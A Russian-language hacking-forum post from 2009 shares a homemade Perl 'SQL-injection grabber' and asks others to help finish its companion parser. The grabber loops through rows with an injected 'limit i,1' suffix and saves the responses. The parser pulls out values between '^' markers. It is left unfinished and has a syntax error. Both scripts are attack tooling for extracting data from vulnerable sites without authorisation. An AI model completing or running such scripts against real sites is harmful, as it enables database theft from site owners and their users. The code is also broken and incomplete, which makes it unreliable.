SQL-injection Grabber(perl-самописный)

Статус
В этой теме нельзя размещать новые ответы.

hors_de_prix

Писатель
Регистрация
27 Апр 2009
Сообщения
1
Реакции
0
Здравствуйте !
Я не давно нашел отличный sql grabber,на pl .
вот смотрите :

#!/usr/bin/perl
print "===================================\n";
print "=SQL-injection Grabber =\n";
print "===================================\n";


use LWP::Simple qw(get);
open(F, '>C:\Perl\result.txt');
$z=0;
for ($i=1;$i<=58;$i++){
open(C, '>count.txt');
$url='+limit+'.($i).',1/*';
$cont=get($url);
print F $cont."\n";
$z=$z+1;
print C $z;
close C;
}
close F;
print "===================================\n";
print "= DONE =\n";
print "===================================\n";
print $z;



Но вот в чем проблема



У него есть в приложении не дописаный парсер (кто небудь сможет помочь дописать )




Пачер :

#!/usr/bin/perl
print "===================================\n";
print "=SQL-injection Parser =\n";
print "===================================\n";

open(TT, 'C:\Perl\result.txt');
open(F, '>C:\Perl\result2.txt');
while ($line = <TT>)
{


$x=index($line, "^");
$z=rindex($line, "^" );
if($x>-1 && $z>-1){
$long=$z-$x;
$res=substr($line, ($x+1), ($long-1)
print F $res. "\n";
$x=-1;
$z=-1;

}

}
print "===================================\n";
print "= DONE =\n";
print "===================================\n";
close TT;
close F;
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху